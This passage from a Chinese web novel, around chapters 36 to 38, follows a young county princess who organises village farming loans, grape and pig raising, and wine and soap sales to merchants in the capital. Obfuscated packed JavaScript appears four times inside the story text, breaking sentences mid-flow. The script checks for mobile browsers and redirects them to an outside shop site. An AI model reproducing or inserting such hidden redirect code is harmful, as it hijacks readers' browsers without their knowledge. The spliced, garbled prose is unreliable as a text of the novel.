苏云道：“如此甚好，以后姑娘们出嫁，嫁妆丰厚些，得夫家看重，日子才能过得顺畅。今日叫你过来，主要是前面说的小雀山和旁边的猪鼻山，用来种植药材，现在看来不太合适，还是改种葡萄，你去问问，看有谁家愿意做的？最好有几家一起做。” 庄头笑道：“聂老哥家葡萄种下后，其实也没费什么事，就进账差不多二两银子，庄户们都盼着有这个机会呢。你这消息要传出去，我的门槛怕是要被踩烂了。” 苏云道：“还是用这种前面的方法，互助会贷款买秧苗，一定要注意选种，要是葡萄结果不好，可能会白忙活，收货后卖葡萄还贷。如果人多，你们管事的要一起商量，尽量做到公平。现在互助会的基金还够不够？” 庄头道：“养鸡养鸭的不算什么，主要是鱼塘、果树贷款比较多，其余的都是零星贷款，现下应该还有一半左右，况且年终会有一批还贷的，完全够用。” 苏云道：“甚好，本县主正在修建工坊，修建之后，会需要很多劳工，到时庄户可以去打工，工钱我们按照城里的价格开。” 庄头道：“那简直太好了，家门口就可以打短工挣钱，这下庄户们可以过一个肥年了。” 苏云道：“本县主还有一个想法，准备养猪，在庄子边上建一个猪场，看谁可以承包，或者庄户自家可以自己养在家里也行，三五头，十余头，量力而行。猪粪可以用在田里，肥猪出栏，我全部按照市场价格收购。你先下去统计，看愿在家里养猪的，一共有多少，我再看要不要建猪场。” 苏云道：“还有一点，也麻烦你跟庄户们说一下，以后不要再叫本县主龙女，怕是对皇上大不敬，若被有心人听去，徒生事端，以后都叫小姐或者县主。” 庄头应了下去。 眼看银子流水般出去，苏云也想去看看槐树村道路的进展。次日便和黎大为一行去了槐树村。 刚到槐树村，就见建桥的在忙着打桩，柳河两边道路也在同时修建，好一片热火朝天的景象。 小山子正和小伙伴们在河边看架桥，看到苏云过来，忙跑着过来：“好看姐姐，你来了？”苏云也笑着上前，摸了一下他的头：“小山子好啊。又捡花石子没有？” 小山子道：“这几天没有捡了，在修桥，爹爹说修桥不能到河边捡花石子，怕掉到河里去。” 苏云道：“爹爹说得对，现在不能去捡。村长爷爷在家不？” 小山子道：“在家的，我刚才经过村长爷爷门口，他在院子里喝茶。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205766|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 苏云道：“那好，你们玩，我这就去找村长爷爷有事。” 说完，就朝村长家走去，只见村道已经被扩建了一半，比以前宽了三倍不止，而且都用青石板铺成路面，平坦宽阔，应该能两辆马车并行，只是旁边的村民的房屋，就显得更加破旧不堪。 村长在院子里喝茶，见到苏云他们，赶紧起来见礼。媳妇也去泡茶，端上后站立一旁。 苏云端起茶杯，轻抿一口道：“村长，今日过来，是有一个事情想和你商量。” 村长到：“县主请讲。” 苏云便把互助会的模式跟村长讲了一遍。村长大喜道：“老朽也听说过柳河庄的互助会，没想到县主也给我们成立一个，真是太好了。”不住道谢。 苏云道：“另外，本县主把猪鼻山和旁边的小山也买下了，你问问有谁愿意种植葡萄的，如果愿意，可以向互助会贷款，等葡萄成熟，可以按照市价九成全部卖给我。柳河庄一个庄户，今年收获一百二十多斤葡萄，得了一两八钱银子，若是明年丰收，不会少于三千斤，你想想能得多少钱？而且种葡萄并不需要时时操心，不会耽误农时。不过品种一定要好，若是达不到要求，本县主不收的。第一次选种很重要，只要第一次做好了，以后每年都不用着急了。” 村长心里默默估算了一下，如果明年价格不变，收获葡萄三千斤，一年可得四十五两左右，大喜道：“正是如此。”转而又道：“只是葡萄如果从秧苗开始种植，大约要三年才能挂果，这三年时间，却又如何度过？” 苏云沉吟道：“这个问题的确要考虑好。这样吧，等我工坊建好之后，优先录用愿意种葡萄的人家进场打工，只要有工钱，加上自家的粮食，不敢说大富大贵，温饱应是没有问题的。等葡萄开始收获了，日子自然就会好起来。” 话苏云道：“另外，本县主准备养猪，你问问村民谁愿意养在家里，三五头，十余头，量力而行即可。买猪仔也可在互助会贷款。等肥猪出栏，我可以按市价九成全收。你先下去统计一下，如果数量不够，我再专门建一个猪舍。” 村长简直被苏云画的大饼砸晕了头脑，眼里出现了一片丰衣足食的画面，不由起身，扑通一声跪倒在地，把苏云和儿媳妇都吓了一跳，媳妇要去扶他起来，却被村长甩开。只听村长发自肺腑哽咽道：“老小儿年过半百，行将就木，舔为村长，每日看到村民生活困苦，心如刀绞，却又无可奈何。自从县主将封地落到我们鸟不拉屎的槐树村，村民们的好日子总算要来了！” 苏云心里感叹，亲自躬身将村长扶起，道：“村长哪里话。都在柳河旁过日子，就是一条线上的人。我的封地在此，让村民丰衣足食，自然也是我的责任。再说有龙王的嘱托、皇上的关爱，村民的日子自然会好起来的。”村长擦了擦眼角：“以后县主担忧驱使，小老儿必定鞍前马后，绝不推辞！”苏云要的就是这句话。村民都是过惯苦日子的人，也没什么见识，他们管不了以后的发展，眼睛都死死盯着眼前的好处，自己的规划，在以后必定还会和村民的短期利益有冲突，真还需要一个能中间调停的人。村长是个不错人选，一则他年龄大，资历长，见的世面多，比一般村民眼光长远，在村里说一不二，只要他信服自己，以后的事情就好办很多；二则村长的确是想把村子建设好，目标一致，以后事情就容易不少。 等村长情绪缓和，苏云就把柳河庄互助会的做法全盘告诉了村长，让他着手筹建，让大家商量有什么门道可以操作。另外，也让村长通知大家，选一些喜欢刺绣的大姑娘小媳妇，统计好之后，让杨婶子过来授课。村长闻言又是大喜。 37. 第 37 章 37、苏云进京 这些日子，一边是不断在修路，一边是苏云不断购买葡萄，制作葡萄酒，已经制作了好几批，算下来也可以灌装两千多瓶了。苏云看看存量已经可以了，且葡萄已经慢慢下市，也就不再制作葡萄酒，静静等着开坛的日子到来。 苏云把事情都安排下去，让黎大为带着他们每天出去监工，见见世面，自己尽量不出面，要么在院子里画画、练琴，练武，练习骑马，要么进城去闲逛，日子过得也挺逍遥。 随着一批一批葡萄酒开坛，灌装的玉琥珀越来越多，二十多日后，一看已经有两千多瓶，该怎么消化？苏云早就想好了，决定自己亲自去一趟京城。至于什么八字不合的鬼话，不过是大夫人想把自己撵出京城的借口罢了。苏云从来就没有相信过，就像自己是龙女的说法，别人相信就好，去京城，只要不被人发现就不会有什么事。 苏云教他们做了两批肥皂，大约一千多块，加上两千多瓶葡萄酒，又可以装满四架牛车了。 不过进京之前，苏云带上一百多瓶进城，先去拜访了朱县令，县丞、主簿每人都送了四瓶。 然后到酒铺，见到那个胖胖的掌柜。 苏云道：“张掌柜好，” 张掌柜其实不认识苏云，见是一个小女娃，吃了一惊，看见王嬷嬷提着竹篮站在旁边，立马知道了苏云的身份。张掌柜常年在生意场上打滚，什么事情没见过，立马掩饰好惊讶，满脸堆笑，上前施礼：“县主好，不知县主大驾光临，有失迎迓，还望恕罪。” 苏云也福了半礼道：“张掌柜言重了。上次蒙张掌柜赐酒曲，本县主酿制出了葡萄酒，现特来请张掌柜品鉴。” 张掌柜道：“县主果是守信之人，既如此，请里面谈。” 进得屋内，双方坐定，奉上茶，苏云道：“前番承掌柜赐曲，昨日葡萄酒开坛，特地前来请张掌柜品鉴。” 有伙计端上托盘，上面放着几个酒杯、 王嬷嬷递过一瓶，掌柜扒开瓶塞闻了闻，拿来一个酒杯，倒了一杯，仔细看了看，色如琥珀，透着暗红，煞是好看，在鼻下闻了闻，果香悠悠，轻抿一口，略一回味，赞道：“好酒！竟不逊色产自西域的葡萄酒。” 苏云笑道：“张掌柜谬赞了。请教张掌柜，此酒如何作价？” 张掌柜沉吟道：“若在京城，此酒一瓶二十两应是无碍的，只是在临川嘛，十五两比较适中。” 苏云爽快道：“那就十五两，若张掌柜愿意，我这里有一百瓶，全部让给张掌柜。今年仓促，只是试产，数量有限，明年还需要张掌柜多赐一些酒曲。” 张掌柜大喜，道：“多谢县主，我全要了，明年酒曲，就包在我身上，只是明年的数量嘛，还望县主增加一些，且只卖给敝店。” 苏云道：“这个自然，本县主在临川不会卖给第二家。” 苏云这几天已经向黎大为打听明白了京城的情况，把柳河庄和临川院子都交给了黎大为打理，自己和王嬷嬷、杨三叔一起去京城，并让黎大为想办法瞒住消息，反正苏云不在城里就在柳河庄，错开就行，一般人都想不到，出去几日，不会有人注意。 两日后下午未时，三人到了京城，城门口的兵士没有为难，只是敲了一点银子便放行了。 一行人来到阿牛院子，阿牛娘开门，见是苏云，喜不自胜：“小姐来了，王嬷嬷，杨三叔，快请进。”一边朝院子里喊：“阿牛、大壮，小姐来了。”只见阿牛和何大壮，大牛二牛一起出来见过苏云。 苏云笑道：“先去卸货吧。”四人就朝门口奔去。 三人去大厅坐下，阿牛娘泡好了茶，问到：“小姐，你们吃饭了没有，要不我去做一点？” 苏云是有点饿，便道：“阿牛娘，那就随便弄一点，我们也歇歇。” 阿牛娘转身去了厨房。 等阿牛他们卸完货，先放在院子里，关上门，这才过来见过苏云。 大牛二牛见过苏云后，阿牛道：“作坊里还烧着火，你们先去看着。”大牛二牛就到内院去了。 苏云道：“这一个月你们辛苦了，带我转转吧。” 阿牛带着苏云在院子里面转，一边做介绍。 其实院子和临川的也差不多，前院七八间房，东侧有一口井，阿牛说除了每天阿牛妈出去买菜，他们平时都不怎么出门。 内院里面布局也差不多，都是四合院的模式，只见里面摆放了好多大酒坛，一个角落里的厨房里，正在冒着烟，大牛二牛应该还在里面忙碌。 阿牛带苏云走到角落的一间房，拿出钥匙打开门，只见里面墙壁上凿出了一个洞，顺着洞进去，已经到了旁边的那个院子的一间屋里。 这个院子格局也差不多。其余的屋子都是锁着的，有两间应该是住着人的，阿牛说是大牛二牛兄弟晚上看守院子的。好几间屋里都堆着卧云醉的酒瓶，应该是已经灌装好了的。 苏云点点头，跟着阿牛回到了原来的院子，刚坐下，阿牛娘就端上来饭菜，苏云三人也不客气，简单吃了。 阿牛娘收拾了碗筷后，又去布置房间，王嬷嬷也赶过去帮忙。 苏云道：“你们做得不错，不过有一点，最好在那个房间里，用一个高一点的柜子挡住洞口。” 阿牛称是，一会儿就去弄。 苏云道：“你们平时有没有什么特别的情况？” 阿牛道：“不曾有特别的情况，也没有人进院子来。” 苏云道：“那是最好，我们就是要低调，不要引起人们的注意。你们这些天，做了多少瓶酒了？” 阿牛道：“大为兄弟离开的时候，我们买了不少酒到院子里，后来又去买了两次，我们都是跟着旁边的酒坊酿酒的时间来做提纯酒的，现在应该有差不多七千多八千瓶了。只是瓶子不够了，很多都装在小坛子里面的。” 苏云点点头道：“不算少了，这段时间你们也辛苦，可以暂时停一停，休息几天，也出去逛逛。” 阿牛憨憨道：“不辛苦，每天没事，闲着难受。” 苏云起身道：“今日做完，你们也休息两天吧。你们先去把前院卸的货搬到房间里去，就在前院的房间就好。我去看看房间布置得怎么样了。” 正好王嬷嬷来报，房间已经布置好，苏云就去休息了。 次日一早，苏云想去街上转一转，心想这反正没人认识自己，也就带了一个罩笠，带着王嬷嬷、杨三叔出门了。 京城的繁华，远远不是临川县能比的，街上鳞次栉比，车水马龙，一派繁荣景象，时不时有巡城的官兵走过，秩序井然，社会安定，自然适合做生意，临街旺铺摊贩，比比皆是。 苏云走到一家酒铺，张记酒铺，记得是黎大为说过的合作商，规模颇大，顾客甚多。苏云走进去，小二上前：“客官，可是要买酒？”苏云道：“小二哥，家父最近想喝卧云醉，不知贵店可有？” 小二一听大主顾，忙道：“小姐，有的，只是存货不多了，若想买，得抓紧。” 苏云道：“前些日子家里买了好几瓶，家父甚是喜爱，平日还舍不得拿出来待客。过几日是家父寿辰，我想买几瓶送给他老人家，让他也乐上一乐。记得有三种不同的酒：卧云醉、舍得液和不羡仙，都分别做什么价？” 伙计忙道：“小姐真是孝心可嘉，你家老爷子真是有福之人。这酒确有三种，卧云醉销量最好，三十八两一瓶；舍得液四十八两一瓶；不羡仙是五十八两一瓶。” 苏云道：“怎生如此之贵？” 伙计道：“贵自然有贵的道理。不瞒小姐说，敝店存货还是最多，别的酒铺、饭庄，基本都已经没有存货。再说这点银子，和小姐的孝心比起来，又算得了什么？” 苏云道：“存货不多？小哥莫不是骗我？哪有拿着银子卖不到的东西。” 伙计道：“实不相瞒，此酒产自千里之外的盘州，产量殊少。一个月前，那个贩酒的余公子离京，说是半年可能都不会再回来，敝店忙着存了两千瓶。这不，才一个月，已经售卖了七百多瓶了。尤其是卧云醉，因价格合理，抢的人最多，堪堪只剩下二十来瓶，若是卖完，以后的客官也就只能买舍得液和不羡仙了。” 苏云故作踌躇，道：“还是觉得忒贵了了点，我再去别家看看。” 伙计有心不高兴，不过并没有表现出来：“好的，小姐可以去别家看看，能有存货的本就没几家，有存货的，全京城都是一个价。” 苏云出的酒铺，王嬷嬷和杨三叔都惊诧不已。杨三叔没想到自己每天都要喝一瓶的酒，京城竟然如此昂贵，暗叹苏云大方。 苏云又去了几家酒铺，不是没有货，就是情况相似，所剩不多。 又去了几家杂货铺之后，已经到了午饭时分，正好到了樊楼，想看看这京城第一酒楼，也就跨步进入，里面已经坐了一大半的客人。 小二满脸堆笑迎上来：“客官，可是用饭？你看在楼上还是楼下？” 苏云道：“就在楼下靠窗即可。” 小二引着苏云到了一个靠窗的位置，三人坐下，小二开始报菜名，清蒸熊掌、清蒸鲈鱼一大堆，苏云也听不明白，让杨三叔和王嬷嬷点菜，两人也比较懵，直接让小二推荐了几道菜。 小二道：“客官可要什么酒水？” 苏云道：“小二哥且说说看。” 小二道：“敝店有好几种酒，十里香、稻香村、瑶池雪曲，这些价格都差不多，两百文一瓶；若是客官想偿尝鲜，可以点卧云醉、舍得液或者不羡仙，这些都是四十两起，每样多十两。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205767|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 苏云惊道：“什么酒，如此之贵？” 伙计道：“客观有所不知，这三种酒均出自名酒轩，产自千里之外，产量不多。和一般酒完全不同，京城达官贵人都特别喜欢。敝店也就存了两千瓶，不到一个月，尤其是卧云醉，已经所剩无几，就算客官点了卧云醉，我还得先去看看还有没有。” 苏云暗道，难怪上次黎大为带了十一万两银子回来，看来京城权贵的确不差钱。道：“我等南方来，不惯喝烈酒，不知可有葡萄酒？” 小二道：“这个自然有，葡萄酒是西域而来，价格不菲，也需二十五两一壶。” 苏云道：“可有什么讲究？” 伙计道：“自然有的。葡萄自西域传入，现已在中原广为栽种，但这酿酒的法子，却并没有随之传来，只有个别胡商在家中自酿而已。本店的葡萄酒均是从西域胡商而来，路途遥远，破损多，运输不易，因此价格不菲。” 苏云道：“多谢小二哥，那就来一瓶壶葡萄酒。” 小二大喜，到：“好嘞，这就去安排菜品。” 一会儿，两个侍女模样的人端上一个盘子，里面放了几张卷着的湿毛巾，请客人净手，服务很是周到。 不久，菜品逐次上来，小二端来一个酒壶和几个杯子，放好后，每人倒了一杯，道：“客官请慢用。”然后退下去继续忙活。 果然是京城第一楼，菜品十分精致，味道也是无可挑剔。杨三叔是走南闯北的人，什么好东西没有吃过？竟也大加赞赏。 苏云看看酒杯里的葡萄酒，色泽呈浅紫，鼻下一闻，酒香四溢，喝了一口，酒味醇香，不过略觉回味有一丝苦涩。苏云把这个感觉说了，杨三叔喝了一口，也是这种感觉。 杨三叔道：“这个酒，比不上小姐酿的葡萄酒。” 苏云微微一笑：“喝酒。” 中午小憩后，苏云带着王嬷嬷又出去了，带了一竹篮肥皂，苏云这是要去推销肥皂。杨三叔对肥皂不感兴趣，想着京城安全，苏云也不是一般人，就没有出门。 苏云来到上午就看好的云记杂货铺。虽是杂货铺，店面却不小，里面的日用品很是丰富。苏云上午就看过，杂货铺的洗涤用品很少，只有皂角在售。 苏云找到掌柜，说明来意，掌柜请她到后院细谈。 掌柜道：“鄙人姓张，小姐所说的肥皂，不知是个什么模样？” 苏云道：“小女子自己研制的方子，对衣物洗涤确是十分有效。不知可否一试？” 张掌柜道：“这有何难？”对着里面大婶道：“李妈，出来一下。” 一个五十岁上下的婆子出来，手上还粘着水，在围裙上不停擦着。 李妈道：“老爷有事？” 张掌柜道：“你去拿个盆子，装点水，拿两件脏衣服过来。” 苏云道：“拿个盆子和水即可。” 张妈拿过盆子，王嬷嬷从篮子里拿出一张白色手绢，扔在地上，踩了几脚，手绢上立刻有几个清晰的脚印。王嬷嬷将手绢放进盆里打湿，从篮子里拿出一块肥皂，抹了抹，开始搓洗，出现很多泡沫，搓洗了一阵，然后拿到清水里面反复清洗，去掉泡沫，拧干展开，甩了甩，展现在张掌柜和李妈面前。 二人一看，居然洁白如新。李妈赞道：“这个洗衣皂还真不错，比皂角洗得干净多了，而且没有那么多泡沫，要少清洗好几遍。” 张掌柜有些激动，道：“请小姐到屋里细谈。” 两人坐定，张掌柜道：“小姐的洗衣皂作价几何？手上有多少？” 苏云道：“这是刚研制的方子，我也只是先试试，不多，现在也就一千多块，若是掌柜能吃下，每块二十文。” 张掌柜在心里盘算了一下道：“若是十五文，我就全部吃下。” 苏云道：“十八文一块，若是你全部买下，我送你几个盒子。” 王嬷嬷拿出竹编和木制的两种盒子。 苏云道：“竹编的单卖是三文钱一个，可以反复使用，一般百姓应该都能接受；木制的则是大户人家所用，成本较高，至少要十二文钱一个，也是可以反复使用的。” 苏云继续道：“这是一个新物事，自然需要宣传，我再送掌柜十块洗衣皂，你可把它切小一点，算是赠品。” 张掌柜道：“那就这样吧，何时可以送来？” 苏云道：“我这就回去，让人送货过来。” 回到院子里，苏云叫阿牛和大壮雇了一辆车，将肥皂箱装上车，王嬷嬷带着送过去。虽然只有不到二十两，远不如酒类暴利，利润和白酒没有可比性，但是肥皂这东西，家家户户都用得上，基数大，而且不易被权贵盯上，自是安全许多。想想以后的前景，苏云面露微笑，让王嬷嬷明天去杂货铺悄悄盯着。 38. 第 38 章 38、夜巡 各项生意虽忙，但苏云对练功并没有落下，天天不辍，进步也是肉眼可见。内息已经得心应手，鞭法已经到了十八式了。自从有了杨三叔指导，进步神速，感觉天天都在进步，越是进步，就越是有兴趣，越是兴致高，就练得更加勤奋。杨三叔虽没有表达什么，却也很是惊叹她的天赋。 白日忙过，晚上杨三叔照例来指点苏云，看看已经练习了一个时辰，杨三叔并没有走，道：“你现在内息不错，鞭法也练到了十八式，若能发挥好，在江湖上已经能可算中上之列了。只是像这样每日关门练习，多少有些闭门造车之感，不若出去走走？” 苏云早就想出去看看自己的成果，一直不好意思说出来，听得杨三叔这么说，立时跃跃欲试。杨三叔道：“今天没什么准备，我们出去转转，主要看看你的轻功如何，莫惹事。”苏云道：“我就跟着三叔，不敢惹事。”看看时辰，已经宵禁。杨三叔一声“走吧！”纵身越上屋顶。苏云也赶紧纵身，一跃而上。 只见杨三叔在前面犹如御风而行，万般轻盈，虽未出什么力，却仿佛脚不沾瓦，御空而行,衣袂飘飘，犹如谪仙一般。而苏云用尽气力，才能堪堪追上，有时脚下分不清轻重，踩裂了瓦片。杨三叔回头看了，把速度慢了下来。待到苏云靠近，杨三叔道：“你的呼吸不稳，上次在小雀山给你提过。这虽是在屋顶行走，呼吸也是差不多的。你体会体会。落脚的时候，前掌先落地，然后才是脚跟，不要一起落脚下去。前掌到脚跟的过程虽短，但却可以将力道放缓，形成习惯之后，自然就不会踩裂瓦片了。”苏云试着调整呼吸，果然觉得好多了。 两人漫无目的在屋顶上掠行，古代的街市，一到天黑，除了大户人家门前挂了灯笼，有些许光亮，在没有月光的晚上，基本上是漆黑一片。今晚只有半月，倒也不是全是漆黑。也不知道转了多久，看见前面似乎有座高楼，高楼上面有灯火。两人慢慢奔去，果然是一座高楼，看起来有六七层高，这在当时的建筑中已是难得的高度，应该是京城里最为有名的眺月阁。 两人朝眺月阁靠近，却发现似有黑影在楼下游弋，他们不愿惹麻烦，便停了下来，正准备离开，却见一个黑影一跃而来，口中低声道：“何处狂徒，宵禁之时竟敢到眺月阁窥视！”杨三叔拱手道：“大侠言重，家中小辈练习轻功，带她出来遛遛，并无窥探之意，无意冲撞了贵人，还忘大侠见谅，我等这就离开。”话语虽清，但穿透力极强，黑衣人只觉双耳有些刺痛，深知这人功力不凡，自己怕不是对手。本是想拿下他们邀功，现在一看，貌似没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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苏云首先来到了张记酒铺，小二见是苏云，因为带着罩笠，印象还有，以为她要来买酒，很是高兴迎上来道：“小姐来了，想是对比了几家，小的没有胡说吧？” 苏云道：“小二哥说得很对，只是我今日前来，不是买酒，而是卖酒的，请问你家掌柜在吗？” 小二道：“你请稍等，我这就请掌柜去。” 不一会，小二领着一个富态的中年人出来，小伙计道：“小姐，这就是本店的杨掌柜。” 杨掌柜见是一个小女孩，心中有些不快，但生意场上千锤百炼，倒也没有失态，拱手道：“小姐好，本人姓杨，舔为小店掌柜，不知小姐有何事要谈？” 苏云道：“小女子手里有些葡萄酒，不知杨掌柜可感兴趣？” 杨掌柜眼里一亮，忙躬身道：“小姐里面请，借一步说话。” 两人坐下，苏云道：“贵酒铺可在售卖葡萄酒？” 杨掌柜道：“自是有的，只是葡萄酒从西域运来，甚是费时费力，每到京城，各大酒铺、饭庄、青楼都在抢购，数量着实有限，敝店也时断时续，供应不上。” 苏云道：“我这里倒是有一些葡萄酒，请杨掌柜品鉴一下。” 说完，朝何大壮看了一眼，何大壮赶紧拿出两瓶放到桌上。 杨掌柜面露疑惑，打开瓶塞，一股酒香扑面而来，心情大振，忙叫旁边小伙计拿来两个酒杯，满上一杯，仔细看了看，闻了闻，然后轻抿一口，闭目回味了一下。 苏云道：“杨掌柜可回味出一丝苦味？” 杨掌柜睁开眼，有些吃惊地看看苏云，没想到一个小女孩竟然也知道西域葡萄酒特点，看来不能小觑了。 杨掌柜有打开另一瓶，倒了一杯，看了看，只是颜色深红，抿了一口，其他都差不多。 苏云道：“杨掌柜，小女子年幼，并不太会品评葡萄酒，听家中长辈言道，好的葡萄酒，需一看二闻三舌头。葡萄酒红色也罢，清色也罢，要看葡萄酒是否清澈，越是时间长，酒色越清，时间不长，则是紫红色；“葡萄酿酒色如丹。”则主要指红色葡萄酒；二是要闻，淡淡酒香，需有几种干果气味，或者木塞的气味为佳；当然最重要是品尝，最好是醇厚，酸甜适度，回味悠长为最佳。不知小女子所说是否正确？” 杨掌柜完全不敢再把苏云当小孩子看，道：“小姐深谙品酒之道，在下佩服，不知小姐有多少瓶？作价几何？” 苏云道：“葡萄酒与白酒制作方法迥异，成本确是高昂不少，且葡萄并不是随时皆有，只能在葡萄上市之时才可酿造。好的葡萄酒，也需用好的葡萄酿制，好的葡萄种很是难寻。葡萄酒并不像白酒一样，越陈越香，除非精心保存，若是保存不当，难免变质变酸。实话实说，我的葡萄酒，大约只能保存一年半左右，不知杨老板想要多少？” 杨老板道：“那要看小姐喊价几何。” 苏云道：“二十五两一瓶。” 杨老板道：“此价高了，西域葡萄酒也不过如此，我若再加一点售卖，只怕很难脱手。” 苏云道：“杨掌柜是说小女子的酒不如西域的？” 杨掌柜道：“自然不是。做生意嘛，品质是一回事，名头却也是很重要的，常说酒好不怕巷子深，那是没有竞争的情况下。何况并不是每个人都是品酒的行家里手，若是差别不是太大，好与不好，有时只看名气。” 苏云很是佩服杨掌柜的见解，道：“杨掌柜的见解，小女子佩服。常言道，漫天要价，就地还钱。那请杨掌柜还个价？没事，生意不成仁义在，杨掌柜只管开口。” 两人你来我往，谈了好一阵，总算二十二两成交，成交一千瓶。两人各自满意，喝了一口茶。 苏云道：“还有一事要请教杨掌柜。” 杨掌柜道：“小姐请讲。” 苏云道：“我知京城畅销卧云醉、舍得液和不羡仙，不知贵店生意如何？” 杨掌柜眼睛一亮，知道苏云有所指，道：“不瞒小姐，销量的确不错，不知小姐问起此事，有何用意？莫非······” 苏云看了伙计一眼，闭口不言。杨掌柜会意，扬了扬手，伙计下去。苏云这才小声道：“实不相瞒，余公子临走之时，给我留下了一批。” 杨掌柜急道：“果真？有多少？” 苏云：“不知杨掌柜能吃下多少？” 杨掌柜刚想说话，忽又像是想到了什么，不再开口。 苏云呷了一口茶，不慌不忙道：“我自是知晓杨掌柜的意思。想是有大人物交代过，有卧云醉需告知他们，他们要的不是酒，是想要方子，是吧？” 杨掌柜不言语，苏云又道：“我自然知道大人物惹不起，只是杨掌柜想想，余公子已然回老家，小女子手里也只是有点存货而已，并不知道方子，报知大人物也无用，算把小女子绑走，也拿不到方子。况且就算大人物拿到了方子，他会将方子分给你？还是以后他的酒给你会比余公子的价低？只怕更贵的可能性更大吧。天下熙熙，皆为利往。生意人，讲的就是利字，若是悄悄吃下一批，慢慢卖，过几日小女子也要离开京城，你不说我不说，神不知鬼不觉，岂不是两厢都好？这都到年终了，难不成你不想向东家多交点银子？” 苏云见杨掌柜有些意动，继续道：“至于伙计们对外说的存货已经不多，可以说成是卖酒的营销手段而已，谁家不是这么做的？难道大人物到你库房清点过，知道你还有几瓶卧云醉？” 杨掌柜咬咬牙道：“小姐说得对，那我再要两千瓶，只是这价格嘛。” 苏云道：“杨掌柜，我的建议是你再加五百瓶，我离京之后，年前不会再回京城，现在离过年尚有五个月不到，年关必然涨价，你不留下一些过年再卖？正好我手里有二千五百瓶，你悄悄吃下，我也不用再找别人，岂不皆大欢喜？至于价格嘛，好说，我知卧云醉市面上越来越少，价格也会越来越高，我不涨价，按照余公子以前给你的价格，全部给你就是。” 杨掌柜大喜道：“如此甚好，只是所用金额庞大，我也得去筹集，明日戌时交货可否？” 苏云道：“亥时宵禁，戌时正好。小女子也正有此意。” 出得张记酒铺，苏云又去了两三家，凭着三寸不烂之舌，一共卖出去了五千瓶，葡萄酒也卖出一千之数。 剩下的两千多瓶，已经没有瓷瓶的了，都是用小酒坛装着的，这个卖相，杨三叔表示担心，苏云却早就想好了出路。 三人来到樊楼，一个小伙计迎上来：“客官可是要用饭？” 苏云道：“不用饭，找你家掌柜，有一笔生意要谈。” 小伙计道：“客官请跟我来。” 上得二楼一个房间，小伙计敲门，里面道：“进来。” 小伙计推开门道：“吴掌柜，有客人找你，说是有生意要谈。” 里面人道：“请进来吧。” 小伙计对苏云道：“小姐请进。” 苏云走进房间，里面装修并不是很豪华，但却颇有几分书卷气。一个胖胖的中年人，面白微须，很有几分儒雅，不似生意人，倒更像一个儒生。见苏云进来，也从座位上站起，走了出来，指着旁边的椅子道：“小姐请坐。”吩咐小伙计泡茶。 吴掌柜坐下，道：“不知小姐找吴某何事？” 苏云道：“小女子姓苏，今日见吴掌柜，是有一笔生意和掌柜谈。” 吴掌柜道：“小姐请说。” 苏云道：“不知贵店可有一种卤菜的吃食？” 吴掌柜看了一眼旁边的伙计，伙计道：“敝店并无卤菜。” 苏云道：“小女子这里有一个卤菜方子，可以卤煮各种肉食，有些素菜也行，特别适合凉菜，实为佐酒佳品，不知掌柜可有兴趣一试？” 何大壮拿出一个调料包，吴掌柜点点头，伙计接过。 苏云道：“将此袋放进锅里，锅里掺水，然后可放入洗净的猪肉、或者内脏、猪头均可，一包一次可以煮三五斤肉，卤煮时，水面沒过肉食即可，可以加一点盐，加上盖，三五刻钟即可捞起，火不用太大，只需保持水开即可。每包可以卤煮三次。” 伙计出去吩咐厨师照做。 吴掌柜道：“小姐就是为了这个吃食而来？” 苏云道：“非也，此次前来，主要是为了我手里的葡萄酒。” 吴掌柜来了兴趣，奇道：“你有葡萄酒？” 苏云道：“正是，正要请掌柜品鉴。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205769|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿牛从篮子里拿出一个酒瓶，做工精巧，吴掌柜觉得有些眼熟，想起有点像卧云醉，拿过来一看，白瓷为底，上有几颗葡萄，圆润可爱，有三个字：玉琥珀。 吴掌柜对酒瓶有好感，道：“这个酒瓶，看起来颇有些眼熟。”苏云道：“实不相瞒，葡萄酒出自名酒轩，和卧云醉是一体的，故包装上也有几分相似。”吴掌柜打开瓶塞，拿到鼻下仔细闻了闻，起身拿了一个酒杯，倒了一杯，色泽紫红，轻抿一口，回味一下，很是满意。 吴掌柜道：“小姐此酒来自何处？作价几何？” 苏云道：“是小女子自己的方子酿造，可还适口？” 吴掌柜道：“味道不错，不比西域葡萄酒差。不知作价几何？” 